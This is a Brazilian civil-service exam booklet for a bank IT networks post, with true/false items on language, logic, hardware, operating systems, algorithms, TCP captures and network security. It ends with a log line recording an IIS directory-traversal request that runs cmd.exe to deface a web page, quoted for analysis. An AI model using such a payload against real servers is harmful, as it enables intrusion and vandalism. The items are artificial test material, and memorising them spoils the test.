



# BANCO DA AMAZÔNIA S.A.

## CARGO 20 TÉCNICO CIENTÍFICO

## ÁREA TECNOLOGIA DA INFORMAÇÃO REDES E TELECOMUNICAÇÕES



# MANHÃ

**LEIA COM ATENÇÃO AS INSTRUÇÕES ABAIXO.**

- 1 Confira atentamente se os seus dados pessoais e os dados identificadores do seu cargo transcritos acima coincidem com o que está registrado em sua folha de respostas. Confira também o seu nome e seu cargo em cada página numerada deste caderno de provas. Em seguida, verifique se ele contém a quantidade de itens indicada em sua folha de respostas, correspondentes às provas objetivas. Caso o caderno esteja incompleto, tenha qualquer defeito ou apresente divergência quanto aos seus dados pessoais ou quanto aos dados identificadores do seu cargo, solicite ao fiscal de sala mais próximo que tome as providências cabíveis, pois não serão aceitas reclamações posteriores nesse sentido.
- 2 Quando autorizado pelo chefe de sala, no momento da identificação, escreva, no espaço apropriado da **folha de respostas**, com a sua caligrafia usual, a seguinte frase:  
*Conhecimento é poder em potencial.*
- 3 Não se comunique com outros candidatos nem se levante sem autorização de fiscal de sala.
- 4 Na duração das provas, está incluído o tempo destinado à identificação — que será feita no decorrer das provas — e ao preenchimento da folha de respostas.
- 5 Ao terminar as provas, chame o fiscal de sala mais próximo, devolva-lhe a sua folha de respostas e deixe o local de provas.
- 6 A desobediência a qualquer uma das determinações constantes em edital, no presente caderno ou na folha de respostas poderá implicar a anulação das suas provas.

### OBSERVAÇÕES

- Não serão objeto de conhecimento recursos em desacordo com o estabelecido em edital.
- Informações adicionais: telefone 0(XX) 61 3448-0100; Internet – [www.cespe.unb.br](http://www.cespe.unb.br).
- É permitida a reprodução deste material apenas para fins didáticos, desde que citada a fonte.

De acordo com o comando a que cada um dos itens a seguir se refira, marque na **folha de respostas**, para cada item: o campo designado com o código **C**, caso julgue o item **CERTO**; ou o campo designado com o código **E**, caso julgue o item **ERRADO**. Para as devidas marcações, use a **folha de respostas**, único documento válido para a correção das suas respostas.

## CONHECIMENTOS BÁSICOS

### Texto para os itens de 1 a 8

1 A discussão acerca da influência do pensamento econômico na teoria moderna é aparentemente uma discussão metateórica, ou seja, de caráter metodológico. Mas, na ciência econômica, como de resto nas ciências sociais em geral, não há consenso sobre a forma de evolução dos paradigmas. Contrariamente ao que, em regra, acontece no mundo das ciências naturais, há aqui dúvidas a respeito de se o conhecimento mais recente é necessariamente o melhor, o mais verdadeiro, ou seja, aquele que incorporou produtivamente os desenvolvimentos teóricos até então existentes, tendo deixado de lado aqueles que não se mostraram adequados a seu objeto.

13 O economista Pérsio Arida tratou desse problema em um texto que se tornou clássico muito antes de ser publicado. Afirma ali que o aprendizado da teoria econômica tem sido efetuado de acordo com dois modelos distintos: o que ele chama de *hard science*, que ignora a história do pensamento e segundo o qual o estudante deve familiarizar-se de imediato com o estágio atual da teoria, e o que ele chama de *soft science*, que considera que o estudante deve conhecer bem, e, se possível, dominar, os clássicos do passado, mesmo que em prejuízo de sua familiaridade com os desenvolvimentos mais recentes. Acrescenta a esse enquadramento que, por trás do modelo *hard science*, está a ideia de uma “fronteira do conhecimento”: o estudante não precisaria perder tempo com antigos pensadores, porque todas as suas eventuais contribuições já estariam incorporadas ao estado atual da teoria. De outro lado, subjacente à visão do modelo *soft science*, estaria a ideia de que o conhecimento está disperso historicamente, ensejando a necessidade de os estudantes se dedicarem a esses pensadores.

Leda Maria Paulani. Internet: <www.fipe.org.br> (com adaptações).

Acerca do texto, julgue os itens a seguir.

- 1 O texto constitui uma argumentação em defesa de determinada linha de pesquisa dentro das ciências econômicas.
- 2 Pela leitura do texto, depreende-se que a *hard science* e a *soft science* correlacionam-se, respectivamente, às ciências naturais e às ciências humanas.
- 3 Infere-se do texto que o conhecimento recente da área econômica pode não ser, necessariamente, o que incorporou as melhores facetas do conhecimento historicamente desenvolvido.
- 4 Os pronomes “aqui” (l.7) e “ali” (l.14), que geralmente denotam referência a lugar, são usados no texto para retomar objetos concretos.

A autora defende que, na economia e nas ciências sociais em geral, não há consenso sobre a verdadeira qualidade da informação teórica incorporada ao conhecimento recente na área. Tal afirmação pode ser inferida da leitura do primeiro parágrafo. Cada um dos itens de 5 a 8 apresenta uma proposta de reescrita dessa asserção, devendo ser julgado certo se mantiver, com correção gramatical, o sentido dessa assertiva, ou errado, em caso contrário.

- 5 Não existem, segundo a autora, uniformidade de opiniões, nas ciências sociais, às quais se englobariam a ciência econômica, quanto à verdadeira qualidade da informação teórica incorporada ao conhecimento recente na área.

6 A autora defende não haver consenso na ciência econômica, a exemplo do que ocorre nas demais ciências sociais, a respeito da verdadeira qualidade da informação incorporada ao conhecimento recente na área.

7 Quanto ao consenso nas ciências sociais sobre a verdadeira qualidade da informação teórica incorporada para o conhecimento recente em ciência econômica, a autora defende que não há.

8 A respeito da qualidade real da informação teórica juntada ao conhecimento recente na área, a autora defende não haver consenso seja na ciência econômica, seja nas demais ciências sociais.

### Texto para os itens de 9 a 17

1 Frederick August von Hayek concebe o indivíduo como uma singularidade e o conhecimento como algo subjetivamente determinado, particular e intransferível. Esse conhecimento, portanto, não está, para Hayek, fundamentado nem em fatos objetivos, que a teoria pudesse captar, nem em uma sorte qualquer de razão transcendental. Mas, além de seus propósitos particulares e do conhecimento subjetivo que cada um possui do mundo, a ação humana é, para Hayek, constituída também por regras, que os homens seguem meio inquestionadamente, por um processo de imitação. Essas regras, por sua vez, não são postuladas, não são produtos de um suposto contrato original resultante da ação intencional de indivíduos autocentrados, não podendo, pois, ser reduzidas às ações de indivíduos racionais, como rezam os preceitos metodológicos por trás da *rational choice* (escolha racional).  
16 Ora, o que Hayek está então sugerindo é que nem toda ação humana é produto de indivíduos racionais, autônomos e independentes, autodeterminados e soberanos, tal como requer a teoria econômica moderna. Ao contrário, as ações humanas são fortemente dependentes de um processo que é social e socialmente determinado. Afirma, por isso, que, em uma sociedade complexa como a nossa, o homem não tem outra escolha a não ser se adaptar às forças cegas do processo social. E, em função de tudo isso, afirma que, palavras dele, “a desgraça do mecanismo de mercado é dupla, porque, por um lado, ele não é produto do desígnio humano e, por outro, as pessoas que são guiadas por ele normalmente não sabem por que são levadas a fazer o que fazem”.

*Idem, ibidem.*

Com referência às ideias e à tipologia do texto, julgue os itens subsequentes.

- 9 O texto, por apresentar a síntese do pensamento de von Hayek, é predominantemente descritivo.
- 10 Embora esteja empregada de modo correto, a palavra “rezam” (l.14) poderia ser substituída, sem prejuízo para o sentido e a correção gramatical do texto, por **ditam** ou por **estabelecem**.
- 11 Ao afirmar que as pessoas guiadas pelo mercado ‘normalmente não sabem por que são levadas a fazer o que fazem’ (l.27-28), von Hayek retoma a ideia de que as ações humanas dependem de um processo social socialmente determinado.

Acerca dos elementos gramaticais presentes no texto, julgue os itens que se seguem.

- 12 No texto, a palavra “Ora” (l.16) tem sentido diferente daquele empregado na seguinte frase: Ora essa ação é voluntária, ora ela é socialmente determinada.
- 13 No último período do texto, caso se retirem o trecho “palavras dele” e as vírgulas que o isolam, não se perde a informação sobre a autoria da citação feita, e o trecho continua gramaticalmente correto.
- 14 A correção gramatical do texto seria prejudicada caso se colocasse uma vírgula logo após a forma verbal “é” (l.16).
- 15 No trecho “às forças cegas do processo social” (l.23), caso se substitua “forças cegas” por **mecanismos cegos**, será necessário trocar “às” por **aos** para se manter a correção gramatical.
- 16 As palavras “intransferível”, “inquestionadamente” e “indivíduos” possuem em sua estrutura elementos que indicam negação.
- 17 O trecho em que ocorre a palavra ‘desígnio’ (l.26) teria sua coerência prejudicada caso tal palavra fosse substituída por **destino**.

Cada um dos itens abaixo apresenta um fragmento hipotético de correspondência oficial, seguido de uma proposta de classificação desse fragmento (entre parênteses) quanto à parte e ao padrão de correspondência. Julgue-os quanto ao aspecto gramatical, quanto à classificação proposta e quanto à observância das recomendações previstas para o padrão de correspondência indicado.

- 18 Aos dez dias do mês de novembro do ano de dois mil e nove, às dez horas, na sala de reuniões do Departamento de Biologia Celular da Universidade de Brasília, teve início a... (**cabeçalho de uma ata**)
- 19 De ordem do senhor ministro da Educação, estamos informando a todos os chefes do Poder Executivo de todos os entes federados que, nos termos da Lei de Responsabilidade Fiscal, a data limite para apresentação das prestações de contas e respectivos relatórios a que se refere a citada lei... (**corpo de um relatório**)
- 20 Certos da atenção e da observância de V. S.<sup>a</sup> para com as recomendações que ora lhe enviamos, antecipamos agradecimentos.  
Atenciosamente,

**(fecho de um memorando)**

A Apple, dirigida pelo carismático Steve Jobs, tornou-se a mais fulgurante empresa da era digital. Jobs apresentou ao mundo sua nova aposta, o iPad, um aparelho maior que um telefone celular e menor que um computador portátil. Se não convenceu inteiramente os comentaristas tecnológicos, é unânime a previsão de que o iPad “fará dinheiro”.

A expressão “fazer dinheiro”, como sinônimo de criação de riqueza, nasceu com a transformação dos Estados Unidos da América (EUA) em potência tecno-militar-industrial. Antes disso, vigorava a noção mercantilista de que a riqueza apenas mudava de dono, sendo herdada ou tomada de alguém mais fraco ou menos hábil, pelo comércio, pela trapaça e pela guerra de conquista. O que libertou as forças econômicas desse jogo de soma zero, em que o ganho de alguns não aumentava o bolo geral de riqueza, foi a inovação, aliada a sua irmã gêmea, a produtividade.

Veja, 3/2/2010, p. 12-3 (com adaptações).

Tendo o texto acima como referência inicial e considerando aspectos marcantes do atual estágio da economia mundial, fortemente marcado pelo papel nele desempenhado pelo conhecimento, julgue os itens de 21 a 25.

- 21 O texto remete à ideia de que, nos dias atuais, diferentemente do que ocorria no passado, a produção da riqueza — o “fazer dinheiro”, para usar a expressão por ele utilizada — está essencialmente vinculada ao domínio do conhecimento.
- 22 O domínio norte-americano nos mercados mundiais, citado no texto, foi possível graças ao fim dos subsídios e das práticas protecionistas assegurado pela firme atuação da Organização Mundial do Comércio.
- 23 Países emergentes, como o Brasil, ressentem-se dos baixos investimentos em ciência e tecnologia, além dos índices educacionais insatisfatórios, razões suficientes para praticamente inviabilizar a exportação de seus produtos industriais e agrícolas.
- 24 O atual estágio da economia mundial, comumente identificado como globalização, tem nas inovações tecnológicas que se processam no campo das comunicações um de seus instrumentos fundamentais, pois elas permitem, entre outros importantes aspectos, a rápida circulação de informações e de capitais.
- 25 A recente crise econômica e financeira que abalou o mundo teve seu epicentro nos EUA. A timidez das medidas tomadas pelo governo de Barak Obama para enfrentá-la foi, para a maioria dos analistas, a principal razão para a perda da supremacia mundial do país para a emergente China.

Em um planeta aquecido, mantenha o refrigerador ligado. A floresta amazônica há muito deixou de ser tratada como o pulmão do mundo, mas ganhou *status* ainda mais importante, o de ar-condicionado da Terra. A preservação da mata é fundamental no combate ao aquecimento global, apontam especialistas.

O Globo. “Planeta Terra”, nov./2009, p. 20 (com adaptações).

Tendo o texto acima como referência inicial e considerando a inserção da Amazônia no quadro de desenvolvimento sustentável, julgue os itens que se seguem.

- 26 Embora relativamente pouco extensa quanto à dimensão geográfica, a Amazônia é o ecossistema integralmente brasileiro mais conhecido no mundo, graças à formidável quantidade de água e de espécies que possui, e à sua importância para o clima global, como afirma expressamente o texto.
- 27 A ideia de desenvolvimento sustentável na Amazônia, a maior floresta tropical úmida do planeta, deve pressupor, entre diversas outras considerações, a substituição do uso desordenado de motosserras pelo exercício de aprender a extrair riqueza da floresta enquanto se garante sua preservação.
- 28 A cobiça internacional sobre a Amazônia passa ao largo de seu importante peso nos processos naturais que regulam os padrões climáticos globais, como afirmado no texto, mas deriva do extraordinário patrimônio mineral da região, hoje plenamente conhecido e devidamente mensurado.
- 29 Na Amazônia, exemplo de desenvolvimento sustentável verifica-se no aumento do número de empresas e cooperativas extrativistas que exploram a madeira legalmente, isto é, recebem o selo que certifica a extração embasada na preservação dos recursos florestais.
- 30 A produção de madeira certificada precisa ser socialmente justa e estar adaptada plenamente a padrões aceitáveis por parte de crescente parcela do mercado consumidor, sobretudo de países que apresentam uma consciência ambiental mais avançada e onde organizações não governamentais tendem a atuar com bastante vigor.

Julgue os itens seguintes a respeito de permutação e lógica sentencial.

- 31 Considerando que o anagrama da palavra ALARME seja uma permutação de letras dessa palavra, tendo ou não significado na linguagem comum, a quantidade de anagramas distintos dessa palavra que começam por vogal é 360.
- 32 A sentença “como hoje o alarme não foi acionado, então José não foi ao banco e os sensores não estavam ligados” é logicamente equivalente a “se José foi ao banco ou os sensores estavam ligados, então hoje o alarme foi acionado”.

Suponha que um banco tenha um cartão especial para estudantes, que já venha com senha de 4 algarismos escolhidos de 0 a 9 e atribuídos ao acaso. Com relação a essa situação, julgue os itens subsequentes.

- 33 Ao se realizar todas as combinações possíveis, com os algarismos 2 e 1 juntos, nessa ordem, obtêm-se, no máximo, 192 senhas diferentes.
- 34 Podem-se obter 2.016 senhas em que o 0 é, necessariamente, um, e somente um, dos algarismos e os outros 3 algarismos são distintos.
- 35 Ao se utilizar somente os algarismos 1, 3, 4 e 7, podem-se obter 12 senhas de algarismos distintos e que não sejam maiores que 4.173.
- 36 Dizer que “todas as senhas são números ímpares” é falsa, do ponto de vista lógico, equivale a dizer que “pelo menos uma das senhas não é um número ímpar”.

Considerando que, dos 100 candidatos aprovados em um concurso, 30 sejam mulheres, sendo que apenas 20% delas têm idade acima de 30 anos; e, entre os homens, 40% têm idade acima de 30 anos, julgue os itens que se seguem.

- 37 Selecionando-se, entre os referidos candidatos, somente homens com idade acima de 30 anos, é possível formar mais de 20.000 grupos, não ordenáveis, de quatro candidatos.
- 38 Se forem separadas somente as mulheres acima de 30 anos e 10% dos homens, então será possível formar 525 grupos diferentes de 5 pessoas, compostos por 3 homens e 2 mulheres.
- 39 Se um candidato tiver de escolher, em ordem de preferência, 7 cidades para trabalhar, entre 10 apresentadas pelo banco, então haverá mais de 144 opções de escolha para esse candidato.
- 40 A negação da proposição “se Paulo está entre os 40% dos homens com mais de 30 anos, então Luísa tem mais de 30 anos” é “se Paulo não está entre os 40% dos homens com mais de 30 anos, então Luísa não tem mais de 30 anos”.

1 The Gordon and Betty Moore Foundation, the largest  
private funder of Amazon rainforest conservation, is playing an  
unheralded but integral role in the development of the Earth  
4 Engine platform, a system that combines the computing power  
of Google with advanced monitoring and analysis technologies  
developed by leading environmental scientists. The platform,  
7 which was officially unveiled at climate talks in Copenhagen,  
promises to enable near real-time monitoring of the world's  
forests and carbon at high resolution at selected sites before  
10 COP-16 in Mexico.

The Earth Engine builds upon decades of research by  
scientists at a range of institutions, including NASA, the  
13 Woods Hole Research Center, Brazil's Imazon, and the  
Carnegie Institute. While it is so far only available for the  
Amazon and the Andes region in South America, the model is  
16 highly scalable and could eventually be applied virtually  
anywhere on Earth, enabling three-dimensional mapping of  
ecosystems and rapid reporting of land cover change, including  
19 alerting of deforestation and incidence of fire. The tool could  
play a critical role in helping countries win compensation under  
REDD, a mechanism that rewards countries for reducing  
22 emissions from deforestation and forest degradation. REDD is  
seen by many as perhaps the best way to generate funds for  
protection and sustainable use of forests.

Internet: <news.mongabay.com> (adapted).

According to the text above, judge the following items.

- 41 The biggest private funder of Amazon conservation has teamed  
up with Google and scientists to develop an earth monitoring  
platform.
- 42 The word “unheralded” (l.3) means **expected**.
- 43 A new prototype that enables advanced monitoring and  
analysis of the world's forests was presented at the  
International Climate Change Conference (COP-15) in  
Copenhagen.
- 44 New technology can help stop the destruction of the world's  
rapidly-disappearing forests.
- 45 A scheme — known as REDD — provides financial incentives  
to rainforest nations for reducing emissions from deforestation  
and degradation.
- 46 Concerns remain that REDD could fail to deliver benefits to  
forest dwellers.

### Creative, convergent, and social: prospects for mobile computing

1 The mobile computing industry, more than most,  
suffers a constant obsession with the future. Commoditization,  
market saturation, and technology and service convergence  
4 render the mobile communications business one of the most  
volatile and precarious in terms of cycle time, customer churn,  
and obsolete investments. At the core of the industry's  
7 preoccupation with prospective market trends is the question  
of what technologies and services users will demand in the  
future — a question that has proven to be notoriously difficult  
10 to answer.

The first thing to notice about the current state of the  
mobile industry is that it is becoming increasingly  
13 commoditized. It is growing difficult to sustain competitive  
edge on handset differentiation alone. Mobile phones, like  
toasters and microwave ovens, are all now stylishly designed  
16 and contain similar chipsets and functionality. Although it  
would be wrong to suggest that consumers see all handsets as  
equally attractive — aesthetic qualities will surely continue to  
19 matter for such personal and visible devices, just as they do for,  
say, wrist watches — the large handset manufacturers anticipate  
difficulty relying on high-margin luxury production models. As  
22 an alternative, they turn toward the idea that services can help  
differentiate their offerings. Recent movements in related  
industries to define a revitalized science of services (IBM,  
25 2008) have emphasized that interaction with the physical  
device is to a large extent governed or defined by the service or  
application layer that resides on top of the physical artifact  
28 (Spohrer *et al.*, 2007). The appeal of a device depends,  
therefore, on the way in which it integrates into a larger system  
of services (Austin and Beyersdorfer, 2007); the locus of  
31 competition, whether through functionality or aesthetics, thus  
moves to a more diffuse realm where appeal depends on  
nuances of interaction between service components. The  
34 industry's perceptive but imperfect comprehension of this shift  
has led to a sometimes comic frenzy, a quest for the next  
perfect service or killer application that can be successfully  
37 monetized — a service or application users will actually pay  
for.

Internet: <www.palgrave-journals.com> (adapted).

Judge the following items according to the text above.

- 47 The text highlights themes salient in the rapidly converging  
mobile computing industry.
- 48 For consumers, mobile phones would be as attractive as all  
handsets.
- 49 The word “current” (l.11) can be correctly substituted by  
**obsolete**.
- 50 Mobile vendors seeking to foster the consumption of mobile  
devices are increasingly viewing the challenge as a  
well-defined technology problem.

## CONHECIMENTOS ESPECÍFICOS

Em relação às memórias usadas em computadores, julgue os itens seguintes.

- 51 Se a célula de uma memória, cujo endereço, em hexadecimal, é 2AA68, armazena um valor igual a FF4A, também em hexadecimal, então o registrador de endereço de memória (REM) deve ter capacidade para armazenar, no mínimo, 16 *bits*.
- 52 As arquiteturas dos computadores modernos normalmente estabelecem dois ou três níveis diferentes de memória *cache*, todos constituídos por memórias do tipo SRAM (*static RAM*).
- 53 Um computador com barramento de endereços de 22 *bits* de tamanho e que possua memória principal com capacidade de armazenar palavras de 2 *bytes* em cada uma de suas células é capaz de armazenar um total de 64 *megabytes* na sua memória principal.
- 54 O tempo total para acessar uma informação em um disco rígido — o somatório dos tempos de busca (*seek*) e de latência — é muito maior que o tempo necessário para acessar uma informação na memória principal.

Quanto às principais características dos processadores de sistemas de computação, julgue os próximos itens.

- 55 O conteúdo do registrador de dados da memória determina a capacidade máxima de armazenamento da memória principal.
- 56 Considere que João chegou em uma loja de informática, e o vendedor mostrou alguns computadores que estavam em promoção. Entre as características descritas pelo vendedor, ele disse que determinado computador é um micro de 16 *bits*, e um outro micro é de 32 *bits*. Essas informações dizem respeito ao tamanho da célula do computador.
- 57 Os microeventos ou as micro-operações comandados pelo funcionamento da unidade de controle podem ser iniciados por microprogramação ou por programação prévia diretamente no *hardware*.
- 58 Uma instrução de máquina é a formalização de uma operação básica que o *hardware* é capaz de realizar diretamente. As instruções são grupos de *bits* divididos em duas partes: uma delas indica o que é a instrução e como será executada, e a outra parte refere-se aos dados que serão manipulados na operação. Contudo, somente a 1.<sup>a</sup> parte é obrigatória.
- 59 Se, para reduzir custos de fabricação, for criado um computador em que o tamanho do registrador PC (*program counter*) seja a metade do REM, então, embora ocorra a redução do custo, essa máquina não irá funcionar, pois o PC deve ser projetado, no mínimo, com o mesmo tamanho do REM.

Acerca dos dispositivos de entrada/saída (E/S) e dos barramentos de um sistema computacional, julgue os itens de 60 a 63.

- 60 Nos atuais sistemas de computação, utilizam-se três categorias de barramento: local, do sistema e de memória.

- 61 Na transmissão serial, o periférico é conectado ao dispositivo controlador (ou interface) de E/S por uma única linha de transmissão de dados, de modo que a transferência de dados é realizada um bit de cada vez, embora o controlador possa ser conectado à UCP/MP por meio de um barramento com várias linhas.
- 62 DMA (*direct memory access*) é uma das opções usadas para se realizar a comunicação entre a UCP e a interface de E/S. Ela destaca-se por alto desempenho, porque consiste na realização da transferência de dados entre determinada interface e a memória principal, praticamente sem a intervenção da UCP.
- 63 Para realizar, simultaneamente, as ações de digitar texto, fazer *download* de um filme da Internet em banda larga e escutar música, é necessário o uso dos seguintes periféricos de E/S: teclado, monitor e caixa de som.

Julgue os itens subsequentes a respeito dos sistemas operacionais Windows Server e Linux.

- 64 O Windows Server 2008 R2 melhorou a eficiência no uso de energia, sem a necessidade de configuração pelo administrador, ao aprimorar o mecanismo de gerenciamento de energia do processador e introduzir novos recursos de gerenciamento de armazenamento de dados.
- 65 O Windows Server 2008 R2 suporta até 128 núcleos de processadores lógicos para uma única instância do sistema operacional.
- 66 No Linux, o comando *su* permite que um usuário comum obtenha poderes de superusuário, após a informação da senha de *root*.
- 67 Na estrutura de diretórios especiais criada pelo Linux, o diretório */bin* é usado para armazenar informações a respeito dos processos binários em execução no sistema.

Acerca de características dos sistemas operacionais modernos, julgue os itens subsequentes.

- 68 Os *daemons*, em sistemas operacionais, são processos que ficam em segundo plano, com a finalidade de tratar alguma atividade como mensagem eletrônica, páginas *web* e impressão.
- 69 Uma *thread* pode estar, basicamente, em três estados diferentes: execução, bloqueado e pronto. A transição do estado de execução para o estado de bloqueio é ativada por meio dos algoritmos de escalonamento.
- 70 *Swapping* é a troca de processos entre a memória e o disco, realizada quando a memória principal não é suficiente para conter todos os processos.
- 71 TLB (*translation lookaside buffer*) ou memória associativa é um dispositivo em *hardware* desenvolvido para mapear os endereços virtuais para endereços físicos sem passar pela tabela de páginas.

Acerca dos conceitos de virtualização, julgue os itens a seguir.

- 72** A virtualização permite que um único computador hospede múltiplas máquinas virtuais, cada uma com o próprio sistema operacional. A vantagem dessa abordagem é que a falha em uma das máquinas virtuais não gera falha automática nas outras.
- 73** Uma das desvantagens da virtualização é a migração, usada, por exemplo, para balanceamento de carga entre diferentes servidores.
- 74** As ferramentas de virtualização podem ser implementadas de duas maneiras diferentes: hipervisores executados diretamente no *hardware* ou hipervisores executados como programas aplicativos na camada superior de algum sistema operacional.
- 75** VMware, Xen, e VirtualBox são exemplos de ferramentas de virtualização.

```

1 função func(var M[ ], A, B: inteiro): inteiro
2     início
3     se (A = B) então
4         se (M[A] % 2 = 0) então
5             retorne 1
6         senão
7             retorne 0
8     fimse
9     senão
10        se (M[A] % 2 = 0) então
11            retorne 1 + func(M, A + 1, B)
12        senão
13            retorne func(M, A + 1, B)
14        fimse
15    fimse
16 fim

```

Considerando o algoritmo acima, no qual A e B são valores inteiros e M[ ] é um vetor de valores inteiros cujo primeiro elemento está localizado na posição 1 e os argumentos são passados por referência, julgue os itens a seguir.

- 76** A substituição do trecho entre as linhas 3 a 8 pelas linhas, a seguir mantém inalterado o resultado desse algoritmo, desde que os argumentos passados sejam sempre valores válidos.  
se (A > B) então  
retorne 0
- 77** Na chamada à função `func(VET, X, Y)`, para que a função não execute infinitamente, é necessário que o valor de X seja menor que o valor de Y, qualquer que seja o vetor VET.
- 78** Se X for um vetor com os elementos [1, 2, 3, 5, 8, 13, 21, 34], a chamada da função `func(X, 3, 7)` retornará o valor 4.
- 79** Por meio de um algoritmo que utilize estruturas de repetição, mas não use recursividade, é impossível obter o mesmo resultado do algoritmo apresentado.
- 80** Se as linhas 6 e 7 forem retiradas, o algoritmo passa a ter um erro de lógica, o que leva à execução infinita, independentemente dos valores dos argumentos passados.

Julgue os itens seguintes, relativos à lógica de programação e construção de algoritmos.

- 81** Na construção de um algoritmo, é sempre possível substituir uma estrutura do tipo `enquanto` por uma estrutura do tipo `para`.
- 82** Na definição de uma função, a passagem de parâmetros por referência possibilita que o valor de uma variável passado como argumento seja alterado na função, e sua alteração mantenha-se mesmo após a execução da função.
- 83** É possível implementar procedimentos cujos valores gerados podem ser armazenados em variáveis que garantem sua existência mesmo após o término da execução de tais procedimentos.
- 84** Estruturas de repetição são usadas para que determinado bloco de comandos seja executado diversas vezes. A garantia de parada da repetição ocorre por meio de uma condição que é verificada a cada nova iteração. Dependendo do tipo de estrutura de repetição utilizado, o bloco de comandos é executado pelo menos uma vez.
- 85** Variáveis declaradas dentro de funções ou procedimentos são chamadas de variáveis locais e não são visíveis por outras funções. Por esse motivo, não é possível declarar variáveis que possam ser utilizadas por qualquer função de um programa.

Com relação às redes de computadores, julgue os itens a seguir.

- 86** Comparada à topologia em anel, a topologia em estrela tem a vantagem de não apresentar modo único de falha.
- 87** Cabos UTP-cat5 são compostos por quatro pares de cabos trançados, dos quais apenas dois são efetivamente usados para transmissão e recepção.
- 88** Comparadas às redes de longa distância, as redes locais se caracterizam por taxas de erros mais baixas e taxas de transmissão mais altas.
- 89** O modelo de referência OSI/ISO é organizado em camadas que proveem serviços entre si. Nesse modelo, uma camada supre serviços à camada imediatamente superior.
- 90** As funções relacionadas à compressão de dados e criptografia estão associadas à camada de aplicação do modelo de referência OSI/ISO.

I	0.771929 IP (tos 0x10, ttl 64, id 46018, offset 0, flags [DF], proto: TCP (6), length: 60) 1.1.1.1.1111 > 2.2.2.2.2222: S, cksum 0x1db2 (correct), 0:0(0) win 5840 <mss 1460,sackOK,timestamp 2538826 0,nop,wscale 6>
II	0.994556 IP (tos 0x0, ttl 50, id 20037, offset 0, flags [DF], proto: TCP (6), length: 44) 2.2.2.2.2222 > 1.1.1.1.1111: S, cksum 0x9e62 (correct), 0:0(0) ack 1 win 5840 <mss 1460>
III	0.994605 IP (tos 0x10, ttl 64, id 46019, offset 0, flags [DF], proto: TCP (6), length: 40) 1.1.1.1.1111 > 2.2.2.2.2222: ., cksum 0xb61f (correct), 1:1(0) ack 1 win 5840
IV	3.909380 IP (tos 0x10, ttl 64, id 46020, offset 0, flags [DF], proto: TCP (6), length: 47) 1.1.1.1.1111 > 2.2.2.2.2222: P, cksum 0xa89d (correct), 1:8(7) ack 1 win 5840
V	4.220509 IP (tos 0x0, ttl 50, id 20038, offset 0, flags [DF], proto: TCP (6), length: 40) 2.2.2.2.2222 > 1.1.1.1.1111: ., cksum 0xb618 (correct), 1:1(0) ack 8 win 5840
VI	4.220591 IP (tos 0x0, ttl 50, id 20041, offset 0, flags [DF], proto: TCP (6), length: 40) 2.2.2.2.2222 > 1.1.1.1.1111: F, cksum 0xae04 (correct), 2068:2068(0) ack 8 win 5840
VII	4.220607 IP (tos 0x10, ttl 64, id 46021, offset 0, flags [DF], proto: TCP (6), length: 40) 1.1.1.1.1111 > 2.2.2.2.2222: ., cksum 0xb618 (correct), 8:8(0) ack 1 win 5840
VIII	4.223374 IP (tos 0x0, ttl 50, id 20040, offset 0, flags [DF], proto: TCP (6), length: 647) 2.2.2.2.2222 > 1.1.1.1.1111: P, cksum 0xe4c5 (correct), 1461:2068(607) ack 8 win 5840
IX	4.223381 IP (tos 0x10, ttl 64, id 46022, offset 0, flags [DF], proto: TCP (6), length: 40) 1.1.1.1.1111 > 2.2.2.2.2222: ., cksum 0xb618 (correct), 8:8(0) ack 1 win 5840
X	4.229617 IP (tos 0x0, ttl 50, id 20039, offset 0, flags [DF], proto: TCP (6), length: 1500) 2.2.2.2.2222 > 1.1.1.1.1111: ., cksum 0xbf1b (correct), 1:1461(1460) ack 8 win 5840
XI	4.229632 IP (tos 0x10, ttl 64, id 46023, offset 0, flags [DF], proto: TCP (6), length: 40) 1.1.1.1.1111 > 2.2.2.2.2222: ., cksum 0xa29c (correct), 8:8(0) ack 2069 win 8760
XII	4.231280 IP (tos 0x10, ttl 64, id 46024, offset 0, flags [DF], proto: TCP (6), length: 40) 1.1.1.1.1111 > 2.2.2.2.2222: F, cksum 0xa29b (correct), 8:8(0) ack 2069 win 8760
XIII	4.452312 IP (tos 0x0, ttl 50, id 20042, offset 0, flags [DF], proto: TCP (6), length: 40) 2.2.2.2.2222 > 1.1.1.1.1111: ., cksum 0xae03 (correct), 2069:2069(0) ack 9 win 5840

Considerando a captura de tráfego apresentada acima, na forma de segmentos numerados de I a XIII, julgue os itens que se seguem.

- 91** A captura apresenta apenas uma conexão TCP, estabelecida nos segmentos de I a III e encerrada nos segmentos VI e de XI a XIII.
- 92** O segmento XII consiste em uma retransmissão do segmento XI.
- 93** Não é consistente a afirmativa de que a captura foi realizada no *host* 1.1.1.1.
- 94** Houve entrega fora de ordem nos segmentos de IV a X.
- 95** É consistente a afirmativa de que houve perda de segmentos na captura.

No que concerne aos serviços de Internet, julgue os itens de **96** a **100**.

- 96** O protocolo HTTP pode usar conexões persistentes e não persistentes, sendo as primeiras utilizadas por *default*.
- 97** O protocolo HTTP usa três formatos de mensagem: requisições, respostas e erros.
- 98** O serviço de correio eletrônico é formado por três componentes principais: os agentes de usuário, usados para leitura das mensagens; os servidores de correio, que efetivamente enviam e recebem as mensagens; e o protocolo SMTP, usado apenas para a troca de mensagens entre servidores.

**99** O SMTP é o principal protocolo de camada de aplicação do correio eletrônico, usando o serviço confiável de transferência de dados do TCP para troca de mensagens do servidor de correio do remetente para o do destinatário, segundo a arquitetura cliente-servidor.

**100** Tanto o lado cliente como o lado servidor do SMTP funcionam em todos os servidores de correio eletrônico.

Com relação à segurança de redes, julgue os itens que se seguem.

**101** A política de segurança cumpre três principais funções: define o que e mostra por que se deve proteger; atribui responsabilidades pela proteção; e serve de base para interpretar situações e resolver conflitos que venham a surgir no futuro.

**102** É possível atingir confidencialidade e integridade com o uso de sistemas criptográficos simétricos.

**103** É possível obter autenticação e não repúdio, além de confidencialidade e integridade, por meio dos sistemas criptográficos assimétricos.

**104** No padrão RSA, a assinatura digital é um código de verificação concatenado a uma mensagem que é o *hash* da mensagem cifrada com a chave privada de quem emite a mensagem.

**105** Um certificado digital é a assinatura digital de uma chave pública, cifrada com a chave pública da autoridade certificadora.



I	host.somewhere.org - - [DD/MMM/YYYY:00:24:11 -0200] "GET/IISADMPWD/ ..%c0%af..%c0%af.. %c0%af.. %c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+echo+0wnd+by+m3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
